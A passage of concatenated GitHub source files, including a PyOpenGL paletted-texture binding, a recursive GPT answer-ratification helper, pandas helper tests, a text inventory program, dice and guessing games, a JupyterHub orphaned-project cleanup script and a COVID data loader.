final\n\tcolors.\n\t\n\t* Paletted textures also allow use of all the palette tricks\n\tdeveloped for paletted displays. Simple animation can be done, along\n\twith strobing, glowing and other palette-cycling effects. All of these\n\ttechniques can enhance the visual richness of a scene with very little\n\tdata.\n\nThe official definition of this extension is available here:\n\thttp://oss.sgi.com/projects/ogl-sample/registry/EXT/paletted_texture.txt\n\nAutomatically generated by the get_gl_extensions script, do not edit!\n'''\nfrom OpenGL import platform, constants, constant, arrays\nfrom OpenGL import extensions\nfrom OpenGL.GL import glget\nimport ctypes\nEXTENSION_NAME = 'GL_EXT_paletted_texture'\nGL_COLOR_INDEX1_EXT = constant.Constant( 'GL_COLOR_INDEX1_EXT', 0x80E2 )\nGL_COLOR_INDEX2_EXT = constant.Constant( 'GL_COLOR_INDEX2_EXT', 0x80E3 )\nGL_COLOR_INDEX4_EXT = constant.Constant( 'GL_COLOR_INDEX4_EXT', 0x80E4 )\nGL_COLOR_INDEX8_EXT = constant.Constant( 'GL_COLOR_INDEX8_EXT', 0x80E5 )\nGL_COLOR_INDEX12_EXT = constant.Constant( 'GL_COLOR_INDEX12_EXT', 0x80E6 )\nGL_COLOR_INDEX16_EXT = constant.Constant( 'GL_COLOR_INDEX16_EXT', 0x80E7 )\nGL_TEXTURE_INDEX_SIZE_EXT = constant.Constant( 'GL_TEXTURE_INDEX_SIZE_EXT', 0x80ED )\nglColorTableEXT = platform.createExtensionFunction( \n\t'glColorTableEXT', dll=platform.GL,\n\textension=EXTENSION_NAME,\n\tresultType=None, \n\targTypes=(constants.GLenum, constants.GLenum, constants.GLsizei, constants.GLenum, constants.GLenum, ctypes.c_void_p,),\n\tdoc = 'glColorTableEXT( GLenum(target), GLenum(internalFormat), GLsizei(width), GLenum(format), GLenum(type), c_void_p(table) ) -> None',\n\targNames = ('target', 'internalFormat', 'width', 'format', 'type', 'table',),\n)\n\nglGetColorTableEXT = platform.createExtensionFunction( \n\t'glGetColorTableEXT', dll=platform.GL,\n\textension=EXTENSION_NAME,\n\tresultType=None, \n\targTypes=(constants.GLenum, constants.GLenum, constants.GLenum, ctypes.c_void_p,),\n\tdoc = 'glGetColorTableEXT( GLenum(target), GLenum(format), GLenum(type), c_void_p(data) ) -> None',\n\targNames = ('target', 'format', 'type', 'data',),\n)\n\nglGetColorTableParameterivEXT = platform.createExtensionFunction( \n\t'glGetColorTableParameterivEXT', dll=platform.GL,\n\textension=EXTENSION_NAME,\n\tresultType=None, \n\targTypes=(constants.GLenum, constants.GLenum, arrays.GLintArray,),\n\tdoc = 'glGetColorTableParameterivEXT( GLenum(target), GLenum(pname), GLintArray(params) ) -> None',\n\targNames = ('target', 'pname', 'params',),\n)\n\nglGetColorTableParameterfvEXT = platform.createExtensionFunction( \n\t'glGetColorTableParameterfvEXT', dll=platform.GL,\n\textension=EXTENSION_NAME,\n\tresultType=None, \n\targTypes=(constants.GLenum, constants.GLenum, arrays.GLfloatArray,),\n\tdoc = 'glGetColorTableParameterfvEXT( GLenum(target), GLenum(pname), GLfloatArray(params) ) -> None',\n\targNames = ('target', 'pname', 'params',),\n)\n\n\ndef glInitPalettedTextureEXT():\n\t'''Return boolean indicating whether this extension is available'''\n\treturn extensions.hasGLExtension( EXTENSION_NAME )\n","repo_name":"MontyThibault/centre-of-mass-awareness","sub_path":"Cartwheel/lib/Python26/Lib/site-packages/OpenGL/raw/GL/EXT/paletted_texture.py","file_name":"paletted_texture.py","file_ext":"py","file_size_in_byte":4975,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"7037877037","text":"# Write your code here\nfrom collections import Counter\ntest = int(input())\nwhile test > 0 :\n n = int(input())\n l = input().split()\n rogue = Counter(l)\n a = set(l)\n for i in a :\n if(rogue[i] != 3) :\n print (i)\n \n test -= 1\n","repo_name":"hanzohasashi33/Competetive_programming","sub_path":"HackerEarth/Array1D/Achhe_Din.py","file_name":"Achhe_Din.py","file_ext":"py","file_size_in_byte":265,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"19"} +{"seq_id":"27905075815","text":"from gptprobe.askfor.dictfromquestion import ask_for_dict_from_question\nfrom gptprobe.askfor.dictfrompoorlyformattedtext import ask_for_dict_from_poorly_formatted_text\nfrom gptprobe.askfor.textfromquestion import ask_for_text_from_question\nfrom gptprobe.askfor.ratificationfromquestionandanswer import ask_for_ratification_from_question_and_answer\nfrom gptprobe.askfor.flawfromquestionandanswer import ask_for_flaw_from_question_and_answer\nfrom gptprobe.askfor.rephrasingfromquestionanswerandflaw import ask_for_rephrasing_from_question_answer_and_flaw\nfrom gptprobe.askfor.clarificationfromquestionandanswer import ask_for_clarification_from_question_and_answer\nimport os\n\n# Ask for a dict response that has been independently ratified by another API call\n\n\ndef ask_for_dict_from_question_with_ratification(question: str, prompt=None, key_choice=0, numeric_values_only=False,\n depth=2, short_ciruit=True)->dict:\n \"\"\"\n\n Ask a question\n Seek independent confirmation that the response answers the question\n If this fails, we begin a fanout into modified questions\n Warning: this can be expensive\n\n :param question: Any question that asks for a dictionary, or something that might be so interpreted\n :param key_choice:\n :param depth:\n :param open_kwargs:\n :return:\n \"\"\"\n key_1 = (key_choice + 1) % 3 # Probably silly future-proofing\n key_2 = (key_choice + 2) % 3\n\n # Ask the question (or prompt if given) and see if the result is successfully parsed\n # After this step we will have a ratification dict {'success': int, 'ratification': str }\n # where the value in ratification is a hint for rephrasing the question\n\n if prompt is None:\n prompt = question\n answer = ask_for_text_from_question(prompt, key_choice=key_choice)\n first_dict = ask_for_dict_from_poorly_formatted_text(text=answer, key_choice=key_2,\n numeric_values_only=numeric_values_only)\n\n ratification_dict = ask_for_ratification_from_question_and_answer(question=question,\n answer=answer,\n key_choice=key_1)\n\n if ratification_dict['success']:\n if first_dict:\n return first_dict\n else:\n from gptprobe.utils.parsedictrobustly import dict_parsing_error\n ratification_dict['ratification'] = 'There was a parsing error: '+dict_parsing_error(answer)\n\n # We are not ratified, or the ratified result could not be parsed.\n # We split the search tree:\n # 1. Ask the same question again\n # 2. Ask the rephrased question\n # 3. Append a clarification to the original thread\n\n flaw = ratification_dict.get('ratification')\n rephrasing = ask_for_rephrasing_from_question_answer_and_flaw(question=question, answer=answer, flaw=flaw, as_dict=False )\n clarification = ask_for_clarification_from_question_and_answer(question=question, answer=answer, flaw=flaw, as_dict=False)\n if os.environ.get('GPTPROBE_VERBOSITY'):\n from pprint import pprint\n print('----- INFO: void GPTPROBE_VERBOSITY env to suppress ---- ')\n pprint({'question':question,'answer':answer,'flaw':flaw,'rephrasing':rephrasing,'clarification':clarification})\n\n # Now try all the possibilities\n # If short_circuit, we return as soon as we have a non-empty dict\n d = first_dict\n from gptprobe.askfor.dictfromquestionanswerandclarification import contextual_question_from_answer_and_clarification\n contextual_clarification = contextual_question_from_answer_and_clarification(question=question, answer=answer, clarification=clarification)\n prompts = [ contextual_clarification, rephrasing, question ]\n key_choices = [ key_choice, key_1, key_2 ] # Future proofing for when state comes in\n for prompt, ky in zip(prompts,key_choices):\n d_ = ask_for_dict_from_question_with_ratification(question=question, key_choice=ky,\n numeric_values_only=numeric_values_only,\n depth=depth-1, prompt=prompt)\n if d_:\n d.update(d_)\n if short_ciruit:\n return d\n return d\n\n\n\nif __name__=='__main__':\n from gptprobe.private_setenv import NOTHING\n question = \"\"\"Return a dictionary with double-quoted keys given by trees and numeric values\n indicating the month of the year when they are most likely to bloom.\n \"\"\"\n import os\n os.environ['GPTPROBE_VERBOSITY']=\"1\"\n d = ask_for_dict_from_question_with_ratification(question=question)\n print(d)\n","repo_name":"microprediction/gptprobe","sub_path":"gptprobe/askfor/dictfromquestionwithratification.py","file_name":"dictfromquestionwithratification.py","file_ext":"py","file_size_in_byte":4794,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"19"} +{"seq_id":"36684084417","text":"import json\n\nimport pandas as pd\n\nfrom app import helpers as hp\n\n\ndef test_get_movie_df():\n df = hp.get_movie_df()\n assert isinstance(df, pd.DataFrame)\n assert df.shape[0] > 1 and df.shape[1] > 1\n\n\ndef test_compute_profit():\n headers = ['col1', 'gross', 'budget']\n rows = [['a', 10, 5], ['b', 10, 1], ['c', 0, 0]]\n df = _create_df(headers, rows)\n\n result = hp.compute_profit(df)\n assert result['profit'][0] == 5\n assert result['profit'][1] == 9\n assert result['profit'][2] == 0\n\n\ndef test_groupby():\n df = _create_df(['col1', 'profit'], [['a', 10], ['a', 10], ['c', 0]])\n\n result = hp.groupby(df, 'col1')\n assert result['profit'][0] == 20\n assert result['profit'][1] == 0\n\n\ndef test_desc_num_to_list():\n headers = ['col1', 'col2', 'profit']\n rows = [['a', 'x', 10], ['a', 'y', 100], ['c', 'z', 0]]\n df = _create_df(headers, rows)\n\n assert hp.desc_num_to_list(df, 'col2', 2) == ['y', 'x']\n\n\ndef test_combine_columns():\n headers = hp.ACTOR_COLUMNS + ['profit']\n rows = [['a', 'b', 'c', 10], ['d', 'e', 'f', 100]]\n df = _create_df(headers, rows)\n\n result = hp.combine_columns(df, 'new_actors')\n assert result['new_actors'].tolist() == ['a', 'd', 'b', 'e', 'c', 'f']\n assert result['profit'].tolist() == [10, 100, 10, 100, 10, 100]\n\n\ndef test_split_column():\n headers = ['col1', 'profit']\n rows = [['a|b', 10], ['c|d', 100]]\n df = _create_df(headers, rows)\n\n result = hp.split_column(df, 'col1', 'new_col_name')\n assert result['new_col_name'].tolist() == ['a', 'b', 'c', 'd']\n assert result['profit'].tolist() == [10, 10, 100, 100]\n\n\ndef _create_df(headers, rows):\n return pd.DataFrame(data=rows, columns=headers)\n","repo_name":"TheRealCoop/movie-profitability","sub_path":"tests/test_helpers.py","file_name":"test_helpers.py","file_ext":"py","file_size_in_byte":1703,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"31781984608","text":"def menu():\n \n global choice\n print('===========================================')\n print(' = Inventory Management Menu = ')\n print('===========================================')\n print('(1) Add New Item to Inventory')\n print('(2) Remove Item from Inventory')\n print('(3) Update Inventory')\n print('(4) Search Item in Inventory')\n print('(5) Print Inventory Report')\n print('(6) Quit')\n \n choice = int(input(\"Enter choice: \"))\n print()\n \ndef add_item():\n\n global list\n print('===========================================')\n print(' = Select Item Menu = ')\n print('===========================================')\n print('(1) Add fruit')\n print('(2) Add vegetables')\n print('(3) Add grain')\n \n \n list = [[],[],[]]\n choice = int(input(\"Enter choice: \"))\n item = input(\"Enter item (e.g. Apples): \")\n cost_price = int(input(\"Enter cost price: \"))\n sales_price = int(input(\"Enter sales price: \"))\n stock = int(input(\"Enter stock: \"))\n print()\n \n dict = {\"Item\":item, \"Cost\":cost_price, \"Sales\":sales_price, \"Stock\":stock}\n list[choice - 1].append(dict)\n \ndef remove_item():\n \n print(\"Geef het item op dat u wilt verwijderen.\")\n z = int(input(\"Geef stellingnummer op (e.g. 1 = Fruit, 2 = Vegetables, 3 = Grain): \"))\n y = int(input(\"Geef rijnummer op (e.g. vanaf 1): \"))\n del list[z - 1][y - 1]\n \ndef update_item():\n \n z = int(input(\"Geef stellingnummer op (e.g. 1 = Fruit, 2 = Vegetables, 3 = Grain): \"))\n y = int(input(\"Geef rijnummer op (e.g. vanaf 1): \"))\n key = input(\"Geef de key op dat uw wilt updaten (e.g. Item, Cost): \")\n update = int(input(\"Update \" + key + \" value : \"))\n list[z - 1][y - 1][key] = update\n \ndef search_item():\n \n item = input(\"Geef een item op (e.g. Appels): \")\n print()\n for z in range(len(list)):\n for y in range(len(list[z])):\n for key in list[z][y]:\n if list[z][y][key] == item:\n print('===========================================')\n for key in list[z][y]:\n print(format(key, \"<10\"), format(list[z][y][key], \"<10\"))\n break\n print('===========================================')\n print()\n\ndef print_items():\n \n print('===========================================')\n print(format(\"Item\", \"<10\"), format(\"Cost\", \"<10\"), format(\"Sales\", \"<10\"), format(\"Stock\", \"<10\"))\n print('===========================================')\n for z in range(3):\n for y in range(len(list[z])):\n for key in list[z][y]:\n print(format(list[z][y][key], \"<10\"), end=\" \")\n print()\n print()\n\ndef main():\n \n while True: \n menu()\n if choice == 1:\n add_item()\n elif choice == 2:\n remove_item()\n elif choice == 3:\n update_item()\n elif choice == 4:\n search_item()\n elif choice == 5:\n print_items()\n else:\n exit()\n\nmain()","repo_name":"Sukardy/Inventory-System","sub_path":"inventory_system.py","file_name":"inventory_system.py","file_ext":"py","file_size_in_byte":3103,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"9852848965","text":"from sklearn.metrics import precision_recall_curve, average_precision_score\nfrom tensorflow.keras.models import load_model\nimport tensorflow\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nnum_classes = 3\n\nx_test = np.load('predp_data_YCbCr_Histogram.npy')\nx_test_1 = np.load('predicp_data_stnd_dev.npy')\nx_test_2 = np.load('predicp_data_mean.npy')\ny_test = np.load('predicp_label.npy')\n\nx_test = x_test.astype('float32')\nx_test /= 255\n\nmodel = load_model('./saved_models/Back_Up/test_3(select).h5', custom_objects={'leaky_relu': tensorflow.nn.leaky_relu})\nresult = model.predict([x_test_1, x_test_2, x_test])\n\nprecision_ = dict()\nrecall_ = dict()\nap_ = dict()\nfor i in range(num_classes):\n precision_[i], recall_[i], _ = precision_recall_curve(y_test[:, i], result[:, i])\n ap_[i] = average_precision_score(y_test[:, i], result[:, i])\n\nw, h = plt.figaspect(0.618)\nplt.figure(figsize=(w, h))\nplt.grid(True)\nplt.xlabel('Recall')\nplt.ylabel('Precision')\n\nlinestyles = ['-', '--', '-.']\nfor i in range(num_classes):\n plt.plot(precision_[i], recall_[i], linestyle=linestyles[i], label='Class '+str(i+1)+' (AP = %0.2F)' % ap_[i])\n\nplt.legend(loc='lower left')\nplt.show()","repo_name":"thebinayak/New_Surface_Roughness_Classification_Method","sub_path":"Precision-recall graph.py","file_name":"Precision-recall graph.py","file_ext":"py","file_size_in_byte":1177,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"2785428035","text":"# Tai Sakuma \n\nfrom atpbar import atpbar\n\n##__________________________________________________________________||\nclass ReaderComposite:\n\n \"\"\"A composite of event readers\"\n\n This class is a composite in the composite pattern.\n\n Examples of event readers are instances of `Summarizer` and this\n class.\n\n When `event()` is called, it calls `event()` of each reader in the\n order in which the readers are added. If a reader returns `False`,\n it won't call the remaining readers.\n\n \"\"\"\n\n def __init__(self, readers=None):\n if readers is None:\n readers = [ ]\n self.readers = list(readers)\n\n def __repr__(self):\n return '{}({!r})'.format(\n self.__class__.__name__,\n self.readers\n )\n\n def add(self, reader):\n self.readers.append(reader)\n\n def begin(self, event):\n for reader in self.readers:\n if not hasattr(reader, 'begin'):\n continue\n reader.begin(event)\n\n def event(self, event):\n for reader in self.readers:\n if reader.event(event) is False:\n break\n\n def end(self):\n for reader in self.readers:\n if not hasattr(reader, 'end'):\n continue\n reader.end()\n\n def merge(self, other):\n for r, o in zip(self.readers, other.readers):\n if not hasattr(r, 'merge'):\n continue\n r.merge(o)\n\n def collect(self):\n ret = [ ]\n for reader in atpbar(self.readers, name='collecting results'):\n if not hasattr(reader, 'collect'):\n ret.append(None)\n continue\n ret.append(reader.collect())\n return ret\n\n##__________________________________________________________________||\n","repo_name":"alphatwirl/alphatwirl","sub_path":"alphatwirl/loop/ReaderComposite.py","file_name":"ReaderComposite.py","file_ext":"py","file_size_in_byte":1821,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"19"} +{"seq_id":"2644273049","text":"import collections\nimport os\nimport sys\nimport time\nimport random\nfrom Cfg import Cfg\nimport os.path\nimport operator\n\n\nclass Position:\n def __init__(self, x, y):\n self.x = x\n self.y = y\n\nCLEAR_CMD = 'clear'\n\nDirection = collections.namedtuple('Direction', 'dx dy')\n\nclear = lambda: os.system(CLEAR_CMD)\n\ndef clear_with_enter():\n input('\\n[PRESS ENTER TO PROCEED]: ')\n os.system(CLEAR_CMD)\n\n\ndef get_true_or_false(prompt, ending=' '):\n res = input(prompt + ending).strip().upper()\n return res == 'T'\n\ndef get_numeric_safe(prompt):\n while True:\n try:\n res = int(input(prompt))\n break\n except (ValueError, NameError):\n print(Cfg.get('NUMS_PLS'))\n return res\n\n\ndef get_numeric_safe_in_range(prompt, lower, upper):\n while True:\n try:\n res = int(input(prompt))\n if resupper:\n print(Cfg.get('RANGE_PLS') % (lower, upper))\n continue\n break\n except (ValueError, NameError):\n print(Cfg.get('NUMS_PLS'))\n return res\n\n\ndef get_numeric_or_default(prompt, default):\n try:\n res = int(input(prompt))\n except (ValueError, NameError):\n return default\n return res\n\ndef get_numeric_in_range_or_default(prompt, lower, upper, default):\n try:\n res = int(input(prompt))\n if res < lower or res > upper:\n return default\n except (ValueError, NameError):\n return default\n return res\n\ndef print_dict_in_order(dict):\n print(sorted(dict.items(), key=lambda x: x[1], reverse=False))\n\ndef pprint_list(list):\n print('{', end = '')\n for ind, val in enumerate(list):\n ending = ', ' if ind!=len(list)-1 else ''\n print(\"%d: %s\" % (ind, val), end=ending)\n print('}')\n\ndef slow_prin(msg, typing_speed=1300, endline=True): #http://stackoverflow.com/questions/4099422/printing-slowly-simulate-typing\n for l in msg:\n sys.stdout.write(l)\n sys.stdout.flush()\n time.sleep(random.random()*10.0/typing_speed)\n if endline:\n print('')\n time.sleep(0.5)\n\ndef slow_print(msg, typing_speed=130, endline=True): #http://stackoverflow.com/questions/4099422/printing-slowly-simulate-typing\n print(msg, end='\\n' if endline else '')\n\ndef file_exists(fname):\n return os.path.isfile(fname)\n\ndef read_lines(fname):\n if file_exists(fname):\n with open(fname) as f:\n content = f.readlines()\n return [x.strip() for x in content]\n else:\n return []\n\n\nclass _Getch:\n \"\"\"Gets a single character from standard input. Does not echo to the\nscreen.\"\"\"\n def __init__(self):\n try:\n self.impl = _GetchWindows()\n except ImportError:\n self.impl = _GetchUnix()\n\n def __call__(self): return self.impl()\n\n\nclass _GetchUnix:\n def __init__(self):\n import tty, sys\n\n def __call__(self):\n import sys, tty, termios\n fd = sys.stdin.fileno()\n old_settings = termios.tcgetattr(fd)\n try:\n tty.setraw(sys.stdin.fileno())\n ch = sys.stdin.read(1)\n finally:\n termios.tcsetattr(fd, termios.TCSADRAIN, old_settings)\n return ch\n\n\nclass _GetchWindows:\n def __init__(self):\n import msvcrt\n\n def __call__(self):\n import msvcrt\n return msvcrt.getch().decode(\"utf-8\")\n\n\ngetch = _Getch()\n\n###GAMES###\n####GUESSING GAME####\nclass GuessingGame:\n def __init__(self, num_of_tries, range_upper_bound):\n self.num_of_tries = num_of_tries\n self.range_upper_bound = range_upper_bound\n\n def play(self):\n to_guess = 0\n player_guess = -1\n\n for i in range(self.num_of_tries):\n print('Try nr. %d' % (i+1))\n print('=' * len('Try nr'))\n\n print(\"OK, so i will guess number from 0 to \", self.range_upper_bound)\n print(\"You have %d tries\" % self.num_of_tries)\n to_guess = random.randint(0, self.range_upper_bound)\n\n player_guess = get_numeric_safe_in_range('Tell me your choice number: ', 0, self.range_upper_bound - 1)\n\n if player_guess==to_guess:\n return True\n\n less_more = 'Too small number you told!' if player_guess < to_guess else 'Too big number you told!'\n print(less_more)\n\n print('You wasted all your chances')\n return False\n####END OF GUESSING GAME####\n\n####DICE GAME####\n\n###COMB CHECKER\ndef get_counter(series):\n peeps = [x.peeps for x in series]\n return collections.Counter(peeps)\n\ndef check_series(series):\n pass\n\ndef is_poker(series):\n \"\"\"\n >>> is_poker([Dice(5), Dice(5), Dice(5), Dice(5), Dice(5)])\n True\n >>> is_poker([Dice(5), Dice(5), Dice(5), Dice(5), Dice(3)])\n False\n \"\"\"\n counter_obj = get_counter(series)\n return 5 in counter_obj.values()\n\ndef is_four_of_kind(series):\n \"\"\"\n >>> is_four_of_kind([Dice(5), Dice(5), Dice(5), Dice(5), Dice(4)])\n True\n >>> is_four_of_kind([Dice(5), Dice(5), Dice(5), Dice(3), Dice(3)])\n False\n \"\"\"\n counter_obj = get_counter(series)\n return 4 in counter_obj.values()\n\ndef is_full_house(series):\n \"\"\"\n >>> is_full_house([Dice(2), Dice(5), Dice(5), Dice(2), Dice(5)])\n True\n >>> is_full_house([Dice(5), Dice(5), Dice(3), Dice(4), Dice(3)])\n False\n \"\"\"\n counter_obj = get_counter(series)\n return (3 in counter_obj.values()) and (2 in counter_obj.values())\n\ndef is_great_straight(series):\n \"\"\"\n >>> is_great_straight([Dice(6), Dice(5), Dice(4), Dice(3), Dice(2)])\n True\n >>> is_great_straight([Dice(5), Dice(4), Dice(3), Dice(2), Dice(1)])\n False\n \"\"\"\n peeps = [x.peeps for x in series]\n sorted_peeps = sorted(peeps)\n return sorted_peeps == [2, 3, 4, 5, 6]\n\ndef is_little_straight(series):\n \"\"\"\n >>> is_little_straight([Dice(5), Dice(4), Dice(3), Dice(2), Dice(1)])\n True\n >>> is_little_straight([Dice(6), Dice(5), Dice(3), Dice(3), Dice(2)])\n False\n \"\"\"\n peeps = [x.peeps for x in series]\n sorted_peeps = sorted(peeps)\n return sorted_peeps == [1, 2, 3, 4, 5]\n\ndef is_three_of_a_kind(series):\n \"\"\"\n >>> is_three_of_a_kind([Dice(5), Dice(5), Dice(3), Dice(5), Dice(1)])\n True\n >>> is_three_of_a_kind([Dice(6), Dice(5), Dice(3), Dice(3), Dice(2)])\n False\n \"\"\"\n counter_obj = get_counter(series)\n return 3 in counter_obj.values()\n\ndef is_two_pair(series):\n \"\"\"\n >>> is_two_pair([Dice(5), Dice(5), Dice(3), Dice(3), Dice(1)])\n True\n >>> is_two_pair([Dice(6), Dice(5), Dice(3), Dice(3), Dice(2)])\n False\n \"\"\"\n how_many_pairs = 0\n counter_obj = get_counter(series)\n for val in counter_obj.values():\n if val == 2:\n how_many_pairs += 1\n\n return how_many_pairs == 2\n\ndef is_one_pair(series):\n \"\"\"\n >>> is_one_pair([Dice(5), Dice(5), Dice(3), Dice(2), Dice(1)])\n True\n >>> is_one_pair([Dice(6), Dice(5), Dice(3), Dice(2), Dice(1)])\n False\n \"\"\"\n counter_obj = get_counter(series)\n return 2 in counter_obj.values()\n\ndef is_high_card(series):\n \"\"\"\n >>> is_high_card([Dice(6), Dice(5), Dice(3), Dice(2), Dice(1)])\n True\n >>> is_high_card([Dice(6), Dice(5), Dice(4), Dice(3), Dice(2)])\n False\n \"\"\"\n how_many_ones = 0\n counter_obj = get_counter(series)\n for val in counter_obj.values():\n if val == 1:\n how_many_ones += 1\n\n return (how_many_ones == 5) and (not is_great_straight(series)) and (\n not is_little_straight(series))\n\nfuncs = [is_poker, is_four_of_kind, is_full_house, is_great_straight,\n is_little_straight, is_three_of_a_kind, is_two_pair, is_one_pair,\n is_high_card]\n\ndef get_combination_value(series):\n comb_val = 0\n\n for index, func in enumerate(funcs):\n if func(series):\n exponenta = len(funcs) - index\n comb_val += 10 ** exponenta\n comb_val += sum(series)\n break\n\n return comb_val\n\n###END OF COMB CHECKER\n\nclass Dice:\n def __init__(self, peeps=None):\n self.peeps = 1 if not peeps else peeps\n\n def roll(self):\n self.peeps = random.randint(1, 6)\n\n def __repr__(self):\n return str(self.peeps)\n\n def __str__(self):\n return str(self.peeps)\n\n def __radd__(self, other):\n return other + self.peeps\n\n def __gt__(self, other):\n return self.peeps > other.peeps\n\n def __eq__(self, other):\n return self.peeps == other.peeps\n\nclass DiceGame:\n def roll_series(self, series, mask=None):\n if not mask:\n mask = [True, True, True, True, True]\n for i, dice in enumerate(series):\n if mask[i]:\n dice.roll()\n\n def __init__(self):\n self.player_series = [Dice() for _ in range(5)]\n self.cpu_series = [Dice() for _ in range(5)]\n\n def cpu_mask(self, cpu_series):\n mask = [False, False, False, False, False]\n sorted_series = sorted(cpu_series)\n cntr = get_counter(cpu_series)\n max_peeps = max(cntr.items(), key=operator.itemgetter(1))[0]\n\n for index, dice in enumerate(cpu_series):\n if dice.peeps != max_peeps:\n mask[index] = True\n\n return mask\n\n def play(self):\n clear()\n slow_print(Cfg.get('FST_ROUND'))\n clear_with_enter()\n\n slow_print(Cfg.get('PLAYER_ROLLING') + '\\n')\n self.roll_series(self.player_series)\n slow_print(Cfg.get('U_ROLLED') + ' ')\n slow_print(str(self.player_series))\n\n slow_print('\\n' + Cfg.get('CPU_ROLLING') + '\\n')\n self.roll_series(self.cpu_series)\n slow_print(Cfg.get('CPU_ROLLED') + ' ')\n slow_print(str(self.cpu_series) + '\\n')\n\n mask = self.get_mask()\n\n clear()\n slow_print(Cfg.get('SND_ROUND'))\n clear_with_enter()\n\n slow_print(Cfg.get('PLAYER_ROLLING') + '\\n')\n self.roll_series(self.player_series, mask)\n slow_print(Cfg.get('U_ROLLED') + ' ')\n slow_print(str(self.player_series))\n\n slow_print(Cfg.get('CPU_ROLLING') + '\\n')\n self.roll_series(self.cpu_series, self.cpu_mask(self.cpu_series))\n slow_print(Cfg.get('CPU_ROLLED') + ' ')\n slow_print(str(self.cpu_series))\n\n player_val = get_combination_value(self.player_series)\n cpu_val = get_combination_value(self.cpu_series)\n\n if cpu_val == player_val:\n slow_print('\\n' + Cfg.get('DRAW') + '\\n')\n return 'DRAW'\n elif cpu_val <= player_val:\n slow_print('\\n' + Cfg.get('WIN') + '\\n')\n return 'WIN'\n else:\n slow_print('\\n' + Cfg.get('LOSS') + '\\n')\n return 'LOSS'\n\n def valid_mask(self, mask):\n fs = mask.count('F')\n ts = mask.count('T')\n return len(mask) == 5 and (fs + ts == 5)\n\n def get_mask(self):\n while True:\n mask = input('Type in which die you want to reroll [mask True/False] e.g. [TTFTT]: ').upper()\n if self.valid_mask(mask):\n break\n\n return [x == 'T' for x in mask]\n####END OF DICE GAME####\n###EOGAMES###\n","repo_name":"szymonsadowski3/BlurRPG","sub_path":"BlurRPG/Utilities.py","file_name":"Utilities.py","file_ext":"py","file_size_in_byte":11102,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"10079306619","text":"#!/usr/bin/env python3.6\n\nimport sqlite3\nimport argparse\nimport urllib.parse\nimport os\nimport shutil\n\n##########################################\n# Parse the command line arguments #\n##########################################\n\n# Handle the userdir and database arguments\nparser = argparse.ArgumentParser(description='Cleanup old project directories the notebook workspace')\nparser.add_argument('-u', '--userdir', type=str, default='/data/users/', help='Path to the users directory')\nparser.add_argument('-d', '--database', type=str, default='/data/jupyterhub.sqlite', help='Path to JupyterHub database')\n\n# Parse the arguments\nargs = parser.parse_args()\n\n\ndef normalize_username(username):\n \"\"\"Normalize the given username to lowercase and to remove special characters\n\n Overrides Authenticator.normalize_username()\"\"\"\n return urllib.parse.quote(username.lower(), safe='') \\\n .replace('.', '%2e') \\\n .replace('-', '%2d') \\\n .replace('~', '%7e') \\\n .replace('_', '%5f') \\\n .replace('%', '-')\n\n\n##########################################\n# Iterate through user directories #\n##########################################\n\n# Get a connection to the database\ndb = None\ntry:\n db = sqlite3.connect(args.database)\nexcept sqlite3.Error as e:\n print(e)\n\n# Get a list of all users\ncur = db.cursor()\ncur.execute('SELECT * FROM users')\nusers = cur.fetchall()\n\n# Compare projects with file system for all users\nfor user in users:\n # Get the user_id, username and relevant paths\n user_id = user[0]\n encoded_username = normalize_username(user[1])\n user_directory = os.path.join(args.userdir, encoded_username)\n\n # Check to make sure that the user directory exists\n if not os.path.exists(user_directory):\n # print(f\"User directory does not exist: {user_directory}\")\n continue\n\n # Get a list of all projects belonging to the user\n cur.execute(f'SELECT name FROM spawners WHERE user_id={user_id}')\n projects = [p[0] for p in cur.fetchall() if p[0] != '']\n\n # Check to make sure each project directory has a matching database entry\n contents = os.listdir(user_directory)\n for p in contents:\n # Only check directories, not files\n project_path = os.path.join(user_directory, p)\n if not os.path.isdir(project_path):\n continue\n\n # If the directory doesn't have a project in the database\n if p not in projects:\n print(f'REMOVING {project_path}')\n shutil.rmtree(project_path)\n\n# Close the connection to the database\ndb.close()\n","repo_name":"genepattern/notebook-repository","sub_path":"scripts/projects-cleanup.py","file_name":"projects-cleanup.py","file_ext":"py","file_size_in_byte":2581,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"19"} +{"seq_id":"24791769272","text":"#!/usr/bin/env python\n\nimport json\nimport requests\nimport io\nimport os\nimport pandas as pd\nimport numpy as np\nfrom scipy.optimize import curve_fit\nfrom pkg_resources import resource_filename\n\nDATA_DIR = os.path.join(\n os.path.dirname(os.path.realpath(__file__)),\n '..', 'data'\n)\nDATA_CSV_PATH = os.path.join(\n DATA_DIR,\n 'data.csv'\n)\nDATA_IL_CSV_PATH = os.path.join(\n DATA_DIR,\n 'data_il.csv'\n)\n\nwith open(resource_filename('src', 'params.json')) as f:\n params = json.loads(f.read())\n\n\n##############################\n# download csv data ##########\n##############################\n\ndef download_latest_data(il_only=True):\n if il_only:\n csv_contents = requests.get(params['remote_csv_israel_path']).text\n csv_fpath = DATA_IL_CSV_PATH\n else:\n csv_contents = requests.get(params['remote_csv_path']).text\n csv_fpath = DATA_CSV_PATH\n raw_data_df = pd.read_csv(io.StringIO(csv_contents))\n raw_data_df.to_csv(csv_fpath, index=False)\n return raw_data_df\n\n\ndef get_ts_data(download_latest=True, long_format=True, il_only=True):\n # if il_only:\n # csv_fpath = DATA_IL_CSV_PATH\n # else:\n # csv_fpath = DATA_CSV_PATH\n csv_fpath = DATA_IL_CSV_PATH if il_only else DATA_CSV_PATH\n if download_latest:\n raw_data_df = download_latest_data(il_only=il_only)\n else:\n raw_data_df = pd.read_csv(csv_fpath)\n if il_only:\n renamed_df = raw_data_df.rename(\n {\n 'Date': 'date',\n 'Total Cases': 'total',\n 'New Cases': 'new'\n },\n axis='columns'\n )\n return renamed_df, None\n else:\n 